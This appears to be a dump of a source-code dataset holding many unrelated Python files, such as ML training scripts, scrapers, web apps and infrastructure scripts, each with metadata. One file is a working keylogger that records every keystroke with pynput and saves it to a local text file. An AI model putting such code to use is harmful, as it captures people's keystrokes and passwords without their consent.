seq_id
string
text
string
repo_name
string
sub_path
string
file_name
string
file_ext
string
file_size_in_byte
int64
program_lang
string
lang
string
doc_type
string
stars
int64
dataset
string
pt
string
api
list
443778299
# Copyright (c) 2015 by the parties listed in the AUTHORS file. # All rights reserved. Use of this source code is governed by # a BSD-style license that can be found in the LICENSE file. import os if 'TOAST_NO_MPI' in os.environ.keys(): from . import fakempi as MPI else: from mpi4py import MPI import unit...
null
toast/dist.py
dist.py
py
12,926
python
en
code
null
code-starcoder2
76
[ { "api_name": "os.environ.keys", "line_number": 8, "usage_type": "call" }, { "api_name": "os.environ", "line_number": 8, "usage_type": "attribute" }, { "api_name": "mpi4py.MPI.COMM_WORLD", "line_number": 36, "usage_type": "attribute" }, { "api_name": "mpi4py.MPI",...
483734626
from bs4 import BeautifulSoup import requests import time from random import randint def scrape_news_summaries(s): headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36'} time.sleep(randint(0, 2)) # relax and ...
null
scraper/app.py
app.py
py
1,184
python
en
code
null
code-starcoder2
76
[ { "api_name": "time.sleep", "line_number": 8, "usage_type": "call" }, { "api_name": "random.randint", "line_number": 8, "usage_type": "call" }, { "api_name": "requests.get", "line_number": 9, "usage_type": "call" }, { "api_name": "bs4.BeautifulSoup", "line_num...
84291439
from __future__ import absolute_import from __future__ import division from __future__ import print_function import sys import random import os import importlib import numpy as np import tensorflow as tf import texar as tx from ctrl_gen_model_bilstm import CtrlGenModel flags = tf.flags flags.DEFINE_string('config', ...
null
ag_news/main_ae.py
main_ae.py
py
7,261
python
en
code
null
code-starcoder2
76
[ { "api_name": "tensorflow.flags", "line_number": 14, "usage_type": "attribute" }, { "api_name": "importlib.import_module", "line_number": 20, "usage_type": "call" }, { "api_name": "os.environ", "line_number": 23, "usage_type": "attribute" }, { "api_name": "os.envi...
154952744
import torch.nn as nn import torch.nn.functional as F class Net(nn.Module): def __init__(self): super(Net, self).__init__() self.prep = nn.Sequential( nn.Conv2d(in_channels=3, out_channels=64, kernel_size=3, padding=1, bias=False), nn.BatchNorm2d(64), nn.ReLU(...
null
S12/PartA/models/A11.py
A11.py
py
2,380
python
en
code
null
code-starcoder2
76
[ { "api_name": "torch.nn.Module", "line_number": 5, "usage_type": "attribute" }, { "api_name": "torch.nn", "line_number": 5, "usage_type": "name" }, { "api_name": "torch.nn.Sequential", "line_number": 10, "usage_type": "call" }, { "api_name": "torch.nn", "line_...
597068522
from __future__ import print_function import os import json import argparse import numpy as np import torch import torch.nn as nn import logging import time from multiprocessing import Process from lib.dataset.kitti_dataset_raw_data import KittiDataset, KittiDataloader from lib.dataset.kitti_util impor...
null
tools/test.py
test.py
py
7,967
python
en
code
null
code-starcoder2
76
[ { "api_name": "argparse.ArgumentParser", "line_number": 27, "usage_type": "call" }, { "api_name": "os.path.exists", "line_number": 57, "usage_type": "call" }, { "api_name": "os.path", "line_number": 57, "usage_type": "attribute" }, { "api_name": "json.load", "...
279548722
import datetime from pynput.keyboard import Key, Listener keys = [] def on_press(key): global keys keys.append(key) date = datetime.datetime.now() print(f"{date} {key} pressed.") write_file(keys) def write_file(keys): date = datetime.datetime.now() with open("keys.txt"...
null
keylogger.py
keylogger.py
py
604
python
en
code
null
code-starcoder2
76
[ { "api_name": "datetime.datetime.now", "line_number": 9, "usage_type": "call" }, { "api_name": "datetime.datetime", "line_number": 9, "usage_type": "attribute" }, { "api_name": "datetime.datetime.now", "line_number": 16, "usage_type": "call" }, { "api_name": "date...
574917852
import pandas as pd import numpy as np from quant.stock.stock import Stock from quant.stock.date import Date from quant.stock.stock_factor_operate import StockFactorOperate def GrossProfitTTMMarketValue(beg_date, end_date): """ 因子说明: 毛利润TTM/总市值 披露日期 为 同一披露财报 """ # param #####################...
null
project/stock_project/alpha_model/alpha_factor/GrossProfitTTMMarketValue.py
GrossProfitTTMMarketValue.py
py
1,910
python
en
code
null
code-starcoder2
76
[ { "api_name": "quant.stock.stock.Stock", "line_number": 22, "usage_type": "call" }, { "api_name": "quant.stock.stock.Stock", "line_number": 23, "usage_type": "call" }, { "api_name": "quant.stock.stock.Stock", "line_number": 24, "usage_type": "call" }, { "api_name"...
179610564
# -*- coding: utf-8 -*- # python 2 & 3 from __future__ import print_function, division, absolute_import from pprint import pprint import numpy as np from nltk.corpus import movie_reviews from sklearn import cross_validation from sklearn.svm import SVC from sklearn.naive_bayes import MultinomialNB from sklearn.featu...
null
peteryuan/sentiment_classification.py
sentiment_classification.py
py
2,815
python
en
code
null
code-starcoder2
76
[ { "api_name": "nltk.corpus.movie_reviews.fileids", "line_number": 29, "usage_type": "call" }, { "api_name": "nltk.corpus.movie_reviews", "line_number": 29, "usage_type": "name" }, { "api_name": "nltk.corpus.movie_reviews.fileids", "line_number": 30, "usage_type": "call" ...
389458831
# -*- coding: utf-8 -*- import random import pygame import os from time import sleep import math pygame.init() gray = (200,200,200) #RGB white = (255,255,255) black = (0,0,0) red = (150,0,0) green = (0,150,0) blue = (0,0,175) Width = 960 Height = 720 l = min(Width,Height) #Largo de que de la malla en display x = (Widt...
null
programas varios/trabajos python/micha/simulacion gravitacional/simulacion gravitacional.py
simulacion gravitacional.py
py
6,374
python
en
code
null
code-starcoder2
76
[ { "api_name": "pygame.init", "line_number": 7, "usage_type": "call" }, { "api_name": "os.system", "line_number": 26, "usage_type": "call" }, { "api_name": "os.name", "line_number": 26, "usage_type": "attribute" }, { "api_name": "math.sqrt", "line_number": 38, ...
198538004
import json import requests class SpotifyConnection: def __init__(self, client_id, client_secret): # We need our program to request access to spotify AUTH_URL = 'https://accounts.spotify.com/api/token' # Url that provides access AUTH_PARAM = { # The parameters required to get access ...
null
SpotifyWrapper.py
SpotifyWrapper.py
py
2,470
python
en
code
null
code-starcoder2
76
[ { "api_name": "requests.post", "line_number": 15, "usage_type": "call" }, { "api_name": "requests.get", "line_number": 44, "usage_type": "call" } ]
552941382
import webapp2 import cgi import urllib from google.appengine.api import urlfetch class MainHandler(webapp2.RequestHandler): def get(self): INDEX_HTML = open('index.html').read() self.response.write(INDEX_HTML) class Hello(webapp2.RequestHandler): def get(self): self.redirect("/") def post(se...
null
main.py
main.py
py
1,549
python
en
code
null
code-starcoder2
76
[ { "api_name": "webapp2.RequestHandler", "line_number": 6, "usage_type": "attribute" }, { "api_name": "webapp2.RequestHandler", "line_number": 11, "usage_type": "attribute" }, { "api_name": "cgi.escape", "line_number": 23, "usage_type": "call" }, { "api_name": "url...
648859587
# 不想混吃等死 import pandas as pd from matplotlib import pyplot as plt # trying to get data from sheet df01 = pd.read_csv('weight.csv') df02 = pd.read_csv('sample_weight.csv') arr1 = arr2 = [] for each1 in df01.values: arr1.append(each1[0]) for each2 in df02.values: arr2.append(each2[0]) # range - sets the minim...
null
datacamp_tutorial/data_science/hist.py
hist.py
py
689
python
en
code
null
code-starcoder2
76
[ { "api_name": "pandas.read_csv", "line_number": 6, "usage_type": "call" }, { "api_name": "pandas.read_csv", "line_number": 7, "usage_type": "call" }, { "api_name": "matplotlib.pyplot.hist", "line_number": 18, "usage_type": "call" }, { "api_name": "matplotlib.pyplo...
239008652
from itertools import permutations import itertools def findsubsets(s, n): return list(itertools.combinations(s, n)) def powerset(s): x = len(s) for i in range(1 << x): for j in range(x): if i & (1<< j): print(s[j]) # print([s[j] for j in range(x) if (i & ...
null
inclass1.py
inclass1.py
py
1,476
python
en
code
null
code-starcoder2
76
[ { "api_name": "itertools.combinations", "line_number": 5, "usage_type": "call" }, { "api_name": "itertools.permutations", "line_number": 16, "usage_type": "call" } ]
324809795
import os import hmac import logging import webapp2 import jinja2 from google.appengine.api import memcache from datetime import datetime, timedelta from User import * from Post import * from Comment import * from Comment2 import * from NewsArticle import * from Score import * # Set the template folder template_dir...
null
BaseHandler.py
BaseHandler.py
py
6,370
python
en
code
null
code-starcoder2
76
[ { "api_name": "os.path.join", "line_number": 19, "usage_type": "call" }, { "api_name": "os.path", "line_number": 19, "usage_type": "attribute" }, { "api_name": "os.path.dirname", "line_number": 19, "usage_type": "call" }, { "api_name": "jinja2.Environment", "l...
48804709
#!/bin/python3 points = [(1,2), (3,4), (5,6), (7,8)] import math from functools import partial def distance(p1, p2): x1, y1 = p1 x2, y2 = p2 return math.hypot(x2- x1, y2 -y1) pt = (4, 3) points.sort(key=partial(distance, pt)) print(points)
null
partial.py
partial.py
py
254
python
en
code
null
code-starcoder2
76
[ { "api_name": "math.hypot", "line_number": 9, "usage_type": "call" }, { "api_name": "functools.partial", "line_number": 12, "usage_type": "call" } ]
57513135
from flask import Flask, render_template, request import praw import json import io # from praw.models import MoreComments import simplejson import django app = Flask(__name__) @app.route('/') def function(): return render_template('index.html') @app.route('/handle_data', methods=['POST', 'GET']) def handle_d...
null
d3/demo.py
demo.py
py
7,481
python
en
code
null
code-starcoder2
76
[ { "api_name": "flask.Flask", "line_number": 10, "usage_type": "call" }, { "api_name": "flask.render_template", "line_number": 15, "usage_type": "call" }, { "api_name": "flask.request.method", "line_number": 20, "usage_type": "attribute" }, { "api_name": "flask.req...
248943109
from rest_framework.decorators import api_view from rest_framework.generics import get_object_or_404 from rest_framework.response import Response from items.models import Item @api_view(http_method_names=['GET']) def get_item_view(request, pk): item = get_object_or_404(Item, id=pk) return Response({ ...
null
items/views.py
views.py
py
536
python
en
code
null
code-starcoder2
76
[ { "api_name": "rest_framework.generics.get_object_or_404", "line_number": 10, "usage_type": "call" }, { "api_name": "items.models.Item", "line_number": 10, "usage_type": "argument" }, { "api_name": "rest_framework.response.Response", "line_number": 11, "usage_type": "call...
367626985
import requests from urllib3 import encode_multipart_formdata upload_url = 'http://localhost:8089/api/uploadFile.do' print('upload url:', upload_url) # 打开文件 filePath = 'E:\\pythonProject\\paperCheck\\test.pdf' with open(filePath, 'rb') as f: form_data = { 'p1': '1', 'p2': '2', 'p2': '3', ...
null
python_futher/fileUpload/fileUpload2.py
fileUpload2.py
py
1,024
python
en
code
null
code-starcoder2
76
[ { "api_name": "urllib3.encode_multipart_formdata", "line_number": 14, "usage_type": "call" }, { "api_name": "requests.post", "line_number": 22, "usage_type": "call" }, { "api_name": "requests.request", "line_number": 23, "usage_type": "call" } ]
239762513
# train.py import dgl import dgl.function as fn import torch import torch.nn as nn import torch.nn.functional as F from torch.utils.data import DataLoader from SSTdataset import trainset, tiny_sst, SSTBatch from treelstm import TreeLSTM device = torch.device('cpu') # hyper parameters x_size = 256 h_size = 256 dropo...
null
TreeLSTM/train.py
train.py
py
1,971
python
en
code
null
code-starcoder2
76
[ { "api_name": "torch.device", "line_number": 14, "usage_type": "call" }, { "api_name": "treelstm.TreeLSTM", "line_number": 24, "usage_type": "call" }, { "api_name": "SSTdataset.trainset.num_vocabs", "line_number": 24, "usage_type": "attribute" }, { "api_name": "SS...
100227427
import requests import os import random import tempfile def get_comics_random_number(): url = 'https://xkcd.com/info.0.json' response = requests.get(url) response.raise_for_status() unpacked_response = response.json() total_amount = unpacked_response['num'] random_number = random.randint(1, t...
null
poster.py
poster.py
py
3,963
python
en
code
null
code-starcoder2
76
[ { "api_name": "requests.get", "line_number": 10, "usage_type": "call" }, { "api_name": "random.randint", "line_number": 14, "usage_type": "call" }, { "api_name": "requests.get", "line_number": 21, "usage_type": "call" }, { "api_name": "requests.get", "line_num...
24609333
""" demo01_fi.py 特征重要性 """ import sklearn.datasets as sd import sklearn.utils as su import sklearn.tree as st import sklearn.metrics as sm import sklearn.ensemble as se import matplotlib.pyplot as mp import numpy as np # 加载数据 boston = sd.load_boston() print(boston.data.shape) # 样本输入 print(boston.target...
null
aid1812/day3/demo01_fi.py
demo01_fi.py
py
2,424
python
en
code
null
code-starcoder2
76
[ { "api_name": "sklearn.datasets.load_boston", "line_number": 13, "usage_type": "call" }, { "api_name": "sklearn.datasets", "line_number": 13, "usage_type": "name" }, { "api_name": "sklearn.utils.shuffle", "line_number": 26, "usage_type": "call" }, { "api_name": "s...
459983635
#!/usr/bin/env python # coding: utf-8 from os import path import matplotlib.pyplot as plt import os import imageio # jieba.load_userdict("txt\userdict.txt") # add userdict by load_userdict() from wordcloud import WordCloud, ImageColorGenerator import jieba jieba.enable_parallel(4) # Setting up parallel processes :4 ,...
null
封神演义出场排名.py
封神演义出场排名.py
py
2,767
python
en
code
null
code-starcoder2
76
[ { "api_name": "jieba.enable_parallel", "line_number": 13, "usage_type": "call" }, { "api_name": "os.path.dirname", "line_number": 17, "usage_type": "call" }, { "api_name": "os.path", "line_number": 17, "usage_type": "name" }, { "api_name": "os.getcwd", "line_n...
360753083
#!/usr/bin/env python3 # stress-mediated volumetric growth of a block (compressible formulation, nu = 0.49) import ambit import sys, traceback import numpy as np from pathlib import Path import results_check def main(): basepath = str(Path(__file__).parent.absolute()) IO_PARAMS = {'problem_t...
null
testing/solid_growth_volstressmandel.py
solid_growth_volstressmandel.py
py
3,976
python
en
code
null
code-starcoder2
76
[ { "api_name": "pathlib.Path", "line_number": 16, "usage_type": "call" }, { "api_name": "ambit.Ambit", "line_number": 67, "usage_type": "call" }, { "api_name": "numpy.array", "line_number": 77, "usage_type": "call" }, { "api_name": "numpy.zeros", "line_number":...
492736441
import random import time import threading import logging import datetime as dt from ib.connection import IBConnection from ib.utils import get_contract_ticker, get_contract_details logging.basicConfig(level=logging.INFO, format='%(asctime)s: %(message)s') log = logging.getLogger('IBConnection') class IBWebAccountHan...
null
web/ib_web_account_handler.py
ib_web_account_handler.py
py
5,238
python
en
code
null
code-starcoder2
76
[ { "api_name": "logging.basicConfig", "line_number": 9, "usage_type": "call" }, { "api_name": "logging.INFO", "line_number": 9, "usage_type": "attribute" }, { "api_name": "logging.getLogger", "line_number": 10, "usage_type": "call" }, { "api_name": "ib.connection.I...
140455429
import os import scipy.io as si import json import datetime import numpy as np # crop datasets, you should install autocrop # pip install autocrop # https://github.com/leblancfg/autocrop def crop(): for x in range(0, 100): IMG_PATH = 'dataset/wiki_crop/' + str(x).zfill(2) crop_path = IMG_PATH + '/...
null
preprocessing.py
preprocessing.py
py
2,961
python
en
code
null
code-starcoder2
76
[ { "api_name": "os.path.exists", "line_number": 16, "usage_type": "call" }, { "api_name": "os.path", "line_number": 16, "usage_type": "attribute" }, { "api_name": "os.makedirs", "line_number": 17, "usage_type": "call" }, { "api_name": "os.system", "line_number"...
12583769
from datetime import datetime import re from aws_operations.aws_storage import aws_storage_operations from application_logging.aws_logging import aws_logger class validate_training_data: """ This class shall be used for handling all the validation done on the training data. Written By: Prafful ...
null
data_validation/training_data_validation.py
training_data_validation.py
py
12,715
python
en
code
null
code-starcoder2
76
[ { "api_name": "aws_operations.aws_storage", "line_number": 22, "usage_type": "name" }, { "api_name": "aws_operations.aws_storage", "line_number": 23, "usage_type": "name" }, { "api_name": "aws_operations.aws_storage.aws_storage_operations", "line_number": 25, "usage_type"...
491230361
# Author: Donny import math import time import sys import multiprocessing as mp import numpy as np class DecisionStumpClassifier: """A decision stump classifier Parameters ---------- steps_ : int, optional The steps to train on each feature. """ def __init__(self, steps_=400, max_pa...
null
boostedcascade/adaboost/decisionstump.py
decisionstump.py
py
11,575
python
en
code
null
code-starcoder2
76
[ { "api_name": "numpy.ndarray", "line_number": 61, "usage_type": "attribute" }, { "api_name": "numpy.array", "line_number": 61, "usage_type": "call" }, { "api_name": "numpy.ndarray", "line_number": 62, "usage_type": "attribute" }, { "api_name": "numpy.array", "...
210870830
import json from functools import update_wrapper from datetime import timedelta import flask from flask import make_response, request, current_app from pymongo import MongoClient import server.my_ast as AST import server.my_np_func as np_func app = flask.Flask(__name__) # Flash official snippet to handling CORS def...
null
main.py
main.py
py
4,535
python
en
code
null
code-starcoder2
76
[ { "api_name": "flask.Flask", "line_number": 11, "usage_type": "call" }, { "api_name": "datetime.timedelta", "line_number": 23, "usage_type": "argument" }, { "api_name": "flask.request.method", "line_number": 35, "usage_type": "attribute" }, { "api_name": "flask.re...
147841981
"""Read nested json file from the cube """ import os import json import itertools import copy import logging class File: def get_metadata(self): return {k:v for k,v in vars(self).items() if k != 'data' and not k.startswith('_')} # ------------------ # back compatibility # ------------------ ...
null
isipedia/jsonfile.py
jsonfile.py
py
9,054
python
en
code
null
code-starcoder2
76
[ { "api_name": "copy.copy", "line_number": 47, "usage_type": "call" }, { "api_name": "itertools.product", "line_number": 56, "usage_type": "call" }, { "api_name": "copy.deepcopy", "line_number": 95, "usage_type": "call" }, { "api_name": "numpy.empty", "line_num...
251371753
#!/usr/bin/env python2 # -*- coding: utf-8 -*- import torch import torchvision import torchvision.datasets as dset import torchvision.transforms as transforms from torch.utils.data import DataLoader, Dataset import matplotlib.pyplot as plt import torchvision.utils import numpy as np import random from PIL import I...
null
p1a.py
p1a.py
py
9,501
python
en
code
null
code-starcoder2
76
[ { "api_name": "torch.utils.data.Dataset", "line_number": 39, "usage_type": "name" }, { "api_name": "PIL.Image.open", "line_number": 51, "usage_type": "call" }, { "api_name": "PIL.Image", "line_number": 51, "usage_type": "name" }, { "api_name": "PIL.Image.open", ...
434925683
### Rock, Paper, Scissors # 함수, 모듈 준비 from keras.utils import np_utils from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D from keras.callbacks import ModelCheckpoint,EarlyStopping from keras.preprocessing import image from sklearn.model_selection import train_tes...
null
Project03/RockPaperScissors2.py
RockPaperScissors2.py
py
5,725
python
en
code
null
code-starcoder2
76
[ { "api_name": "os.path.join", "line_number": 23, "usage_type": "call" }, { "api_name": "os.path", "line_number": 23, "usage_type": "attribute" }, { "api_name": "glob.glob", "line_number": 24, "usage_type": "call" }, { "api_name": "glob.glob", "line_number": 27...
610994692
import base64 from collections import OrderedDict import logging from carddirector.cd_api.exceptions import ApiValidationError from carddirector.cd_api.messages.CardDirectorRequest_pb2 import CardDirectorRequest from carddirector.cd_api.messages.CardDirectorResponse_pb2 import CardDirectorResponse from carddirector.cd_...
null
apps/carddirector/cd_api/converters.py
converters.py
py
8,660
python
en
code
null
code-starcoder2
76
[ { "api_name": "logging.getLogger", "line_number": 11, "usage_type": "call" }, { "api_name": "carddirector.cd_api.messages.definitions.FULL_REQUEST_DEFINITION", "line_number": 14, "usage_type": "name" }, { "api_name": "carddirector.cd_api.messages.CardDirectorRequest_pb2.CardDirec...
523508521
#Prende in input un numero intero che indica la coppia (0 a 51, descritte in tableCouple.csv) e permette di visualizzare # nove grafici a barre relativi alle percentuali di clustering ottenute dalla coppia in analisi tra i vari # algoritmi di clustering. I risultati che visualizza sono prelevati della cartella Percenta...
null
AnalisysScript/multipleBar2.py
multipleBar2.py
py
7,475
python
en
code
null
code-starcoder2
76
[ { "api_name": "csv.reader", "line_number": 28, "usage_type": "call" }, { "api_name": "sys.argv", "line_number": 57, "usage_type": "attribute" }, { "api_name": "csv.reader", "line_number": 66, "usage_type": "call" }, { "api_name": "os.listdir", "line_number": 9...
562478097
#!/usr/bin/env python # -*- coding: utf-8 -*- # author: Yizhong # created_at: 04/24/2018 8:11 PM import os import ujson as json import time import logging import tensorflow as tf from official_evaluate import exact_match_score, f1_score, metric_max_over_ground_truths class BaseModel(object): def __...
null
src/base_model.py
base_model.py
py
11,603
python
en
code
null
code-starcoder2
76
[ { "api_name": "logging.getLogger", "line_number": 16, "usage_type": "call" }, { "api_name": "tensorflow.ConfigProto", "line_number": 45, "usage_type": "call" }, { "api_name": "tensorflow.Session", "line_number": 47, "usage_type": "call" }, { "api_name": "time.time...
804423
""" Catalyst Series 3 [Catalyst]---->[Catalyst3]---->[<ProductLine class>] ^ | +--- Mid-Tier class objects. NOTE: These class objects should normally be used only for overriding the methods of the parent class. The class instances available here are for d...
null
cat3/common/catalyst3.py
catalyst3.py
py
32,537
python
en
code
null
code-starcoder2
76
[ { "api_name": "sys.modules", "line_number": 38, "usage_type": "attribute" }, { "api_name": "logging.getLogger", "line_number": 39, "usage_type": "call" }, { "api_name": "logging.DEBUG", "line_number": 40, "usage_type": "attribute" }, { "api_name": "logging.StreamH...
567048827
from . import blue #from app import db from flask import render_template from .models import Class_d,db @blue.route('/index/') def index(): return 'hello' @blue.route('/createdb/') def create_db(): db.create_all() return 'ojbk' @blue.route('/adddb/') def app_db(): c=Class_d('ojbk') #c.username=...
null
flask_model/APP/views.py
views.py
py
601
python
en
code
null
code-starcoder2
76
[ { "api_name": "models.db.create_all", "line_number": 14, "usage_type": "call" }, { "api_name": "models.db", "line_number": 14, "usage_type": "name" }, { "api_name": "models.Class_d", "line_number": 19, "usage_type": "call" }, { "api_name": "models.db.session.add",...
451583
from django.urls import path from . import views app_name = "articles" urlpatterns = [ # example: /articles/ path("", views.IndexView.as_view(), name="index"), # example: /articles/0 path("<int:pk>/", views.ArticleView.as_view(), name="article"), # exammple: /articles/0/comment path('<int:arti...
null
articles/urls.py
urls.py
py
373
python
en
code
null
code-starcoder2
76
[ { "api_name": "django.urls.path", "line_number": 8, "usage_type": "call" }, { "api_name": "django.urls.path", "line_number": 10, "usage_type": "call" }, { "api_name": "django.urls.path", "line_number": 12, "usage_type": "call" } ]
181037615
from tkinter import * import sqlite3 from tkcalendar import DateEntry from tkinter import ttk from PIL import ImageTk,Image def addevent(): pass global child4 global cal global abt child4 = Tk() child4.geometry("400x400") myimg = ImageTk.PhotoImage(Image.open("login.jpg")) mylabel = Label(child4, image=myimg) myla...
null
can.py
can.py
py
694
python
en
code
null
code-starcoder2
76
[ { "api_name": "PIL.ImageTk.PhotoImage", "line_number": 14, "usage_type": "call" }, { "api_name": "PIL.ImageTk", "line_number": 14, "usage_type": "name" }, { "api_name": "PIL.Image.open", "line_number": 14, "usage_type": "call" }, { "api_name": "PIL.Image", "li...
330755215
# import the necessary packages from collections import deque import numpy as np import argparse import imutils import cv2 import time import os from threading import Thread global move, t move = 0 t = 0 # construct the argument parse and parse the arguments ap = argparse.ArgumentParser() ap.add_argument("-v", "--vid...
null
TEST/Object-tracking-test.py
Object-tracking-test.py
py
6,185
python
en
code
null
code-starcoder2
76
[ { "api_name": "argparse.ArgumentParser", "line_number": 16, "usage_type": "call" }, { "api_name": "os.system", "line_number": 41, "usage_type": "call" }, { "api_name": "collections.deque", "line_number": 72, "usage_type": "call" }, { "api_name": "cv2.VideoCapture"...
163481997
import json from django.http import JsonResponse from django.views.decorators.csrf import csrf_exempt @csrf_exempt def task_1_view(request, *args, **kwargs): if request.method == 'POST': # print(request.body) проверка на то что данные приходят if request.body: numbers = json.loads(requ...
null
source/api_v1/views.py
views.py
py
1,797
python
en
code
null
code-starcoder2
76
[ { "api_name": "json.loads", "line_number": 11, "usage_type": "call" }, { "api_name": "django.http.JsonResponse", "line_number": 19, "usage_type": "call" }, { "api_name": "django.http.JsonResponse", "line_number": 22, "usage_type": "call" }, { "api_name": "django.h...
390558431
import time from datetime import datetime from aiohttp.web import middleware from typing import Awaitable, Callable # flake8: noqa from aiohttp.web import HTTPException, Request, Application, Response from .handlers import APIHandler from .stats import ModelStats, RequestTiming from .consts import MODELS_KEY Handle...
null
mlserve/middleware.py
middleware.py
py
1,319
python
en
code
null
code-starcoder2
76
[ { "api_name": "typing.Callable", "line_number": 12, "usage_type": "name" }, { "api_name": "aiohttp.web.Request", "line_number": 12, "usage_type": "name" }, { "api_name": "typing.Awaitable", "line_number": 12, "usage_type": "name" }, { "api_name": "aiohttp.web.Resp...
372487653
from pyspark.context import SparkContext from pyspark.sql import HiveContext #from SparkJob import * #from log_parser import * import string import os import random import sys import traceback import re import operator import time import csv from pyspark.sql.functions import udf, size, col from string imp...
null
scripts/spark_df_load_benchmark.py
spark_df_load_benchmark.py
py
2,490
python
en
code
null
code-starcoder2
76
[ { "api_name": "pyspark.context.SparkContext", "line_number": 18, "usage_type": "call" }, { "api_name": "pyspark.sql.HiveContext", "line_number": 19, "usage_type": "call" }, { "api_name": "time.time", "line_number": 29, "usage_type": "call" }, { "api_name": "time.t...
646103677
#!/usr/bin/python3 """ create tgz from /web_static""" from fabric.api import local from datetime import datetime from os.path import isdir def do_pack(): """ Package """ datu = 'web_static_' + datetime.strftime(datetime.now(), "%Y%m%d%I%M%S") tgz = datu + '.tgz' local('mkdir -p versions') dire =...
null
1-pack_web_static.py
1-pack_web_static.py
py
480
python
en
code
null
code-starcoder2
76
[ { "api_name": "datetime.datetime.strftime", "line_number": 11, "usage_type": "call" }, { "api_name": "datetime.datetime", "line_number": 11, "usage_type": "name" }, { "api_name": "datetime.datetime.now", "line_number": 11, "usage_type": "call" }, { "api_name": "fa...
285634039
#Creat by Jackson 01/07/2020 import pandas as pd import numpy as np #Splitthe datasetinto train and test data from sklearn.model_selection import train_test_split #Building and training the model from sklearn.neighbors import KNeighborsClassifier #k-Fold Cross-Validation from sklearn.model_selection import ...
null
KNN/KNN Cross Validation.py
KNN Cross Validation.py
py
1,840
python
en
code
null
code-starcoder2
76
[ { "api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call" }, { "api_name": "sklearn.model_selection.train_test_split", "line_number": 19, "usage_type": "call" }, { "api_name": "sklearn.neighbors.KNeighborsClassifier", "line_number": 22, "usage_type": "call"...
110400160
from typing import Callable, Dict, Optional from qtpy.QtCore import QEvent from qtpy.QtWidgets import QGridLayout, QLabel, QListWidget, QPlainTextEdit, QPushButton, QWidget from PartSeg._roi_mask.stack_settings import StackSettings from PartSegCore.algorithm_describe_base import ROIExtractionProfile from PartSegCore....
null
package/PartSeg/_roi_mask/segmentation_info_dialog.py
segmentation_info_dialog.py
py
3,518
python
en
code
null
code-starcoder2
76
[ { "api_name": "qtpy.QtWidgets.QWidget", "line_number": 11, "usage_type": "name" }, { "api_name": "PartSeg._roi_mask.stack_settings.StackSettings", "line_number": 12, "usage_type": "name" }, { "api_name": "typing.Callable", "line_number": 12, "usage_type": "name" }, { ...
57370582
from django.shortcuts import render, redirect from django.contrib.auth.decorators import login_required from shopapp.forms import UserForm, UserFormForEdit, ProductForm from shopapp.models import Product from django.contrib.auth.models import User from django.contrib.auth import authenticate, login def home(request)...
null
shopapp/views.py
views.py
py
4,010
python
en
code
null
code-starcoder2
76
[ { "api_name": "django.shortcuts.redirect", "line_number": 11, "usage_type": "call" }, { "api_name": "shopapp.forms.UserFormForEdit", "line_number": 15, "usage_type": "call" }, { "api_name": "shopapp.forms.UserFormForEdit", "line_number": 18, "usage_type": "call" }, { ...
587245034
# -*- coding: utf-8 -*- from kivy.config import Config import sqlite3 import os import sys from kivy.clock import Clock from kivy.app import App from kivymd.app import MDApp from kivy.uix.boxlayout import BoxLayout from kivy.uix.label import Label from kivy.properties import NumericProperty, ObjectProperty, StringPrope...
null
main/pesaje/pesaje_general.py
pesaje_general.py
py
9,810
python
en
code
null
code-starcoder2
76
[ { "api_name": "kivy.lang.Builder.load_file", "line_number": 21, "usage_type": "call" }, { "api_name": "kivy.lang.Builder", "line_number": 21, "usage_type": "name" }, { "api_name": "kivy.config.Config.set", "line_number": 24, "usage_type": "call" }, { "api_name": "...
439121985
import numpy as np import ising_model as I import matplotlib.pyplot as plt import time import seaborn as sns sns.set_style('white') sns.set_style('ticks') sns.set_context('talk') # Initial conditions MC_cycles = 100000 num_spins = 20 Temp = [1.0, 2.4] ordered=False def Accepted(ordered): """ This function plo...
null
Problemsets/4th/CODES/Accepted.py
Accepted.py
py
1,961
python
en
code
null
code-starcoder2
76
[ { "api_name": "seaborn.set_style", "line_number": 6, "usage_type": "call" }, { "api_name": "seaborn.set_style", "line_number": 7, "usage_type": "call" }, { "api_name": "seaborn.set_context", "line_number": 8, "usage_type": "call" }, { "api_name": "matplotlib.pyplo...
621906944
# -*- coding: UTF-8 -*- # 该文件采用获取到的进程数和规模进行数据训练 # 传统的方法 import numpy as np from sklearn import svm from sklearn.ensemble import RandomForestRegressor from sklearn.externals import joblib from sklearn import linear_model #提取完特征后,对数据进行log缩放处理 def datalog(data): for i in range(len(data)): data[i...
null
sweep_size.py
sweep_size.py
py
3,297
python
en
code
null
code-starcoder2
76
[ { "api_name": "numpy.log10", "line_number": 14, "usage_type": "call" }, { "api_name": "numpy.loadtxt", "line_number": 19, "usage_type": "call" }, { "api_name": "numpy.random.shuffle", "line_number": 22, "usage_type": "call" }, { "api_name": "numpy.random", "li...
15277148
'''Outer AutoEncoder. This file contains the implementation of an autoencoder. Versions available: 1. Multilayer perceptron ''' import pickle import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim from torch.autograd import Variable import numpy as np import os.path from scipy.m...
null
elastic/envs/video_featurizer.py
video_featurizer.py
py
4,430
python
en
code
null
code-starcoder2
76
[ { "api_name": "torch.nn.Module", "line_number": 25, "usage_type": "attribute" }, { "api_name": "torch.nn", "line_number": 25, "usage_type": "name" }, { "api_name": "pickle.load", "line_number": 36, "usage_type": "call" }, { "api_name": "torch.nn.Conv2d", "line...
455565576
import json from errors import NoCredentialsFileError from vmManagement import APIRemoveNetwork def destroyNetwork(credsFile="credentials.json", DOApiKeyFile="digitalocean.ini"): """Automatically and completely tear down T-Pot network through DigitalOcean API :credsFile: optional, path to credentials JSON f...
null
destroyNetwork.py
destroyNetwork.py
py
1,146
python
en
code
null
code-starcoder2
76
[ { "api_name": "json.load", "line_number": 19, "usage_type": "call" }, { "api_name": "errors.NoCredentialsFileError", "line_number": 23, "usage_type": "call" }, { "api_name": "vmManagement.APIRemoveNetwork", "line_number": 31, "usage_type": "call" } ]
547290948
"""add ordering to question and choice Revision ID: 0717a96ab5fe Revises: c1b4f16930df Create Date: 2017-10-13 12:02:29.295628 """ import os from alembic import op import sqlalchemy as sa schema_name = os.getenv('SCHEMA_NAME') # revision identifiers, used by Alembic. revision = '0717a96ab5fe' down_revision = 'c1...
null
alembic/versions/0717a96ab5fe_add_ordering_to_question_and_choice.py
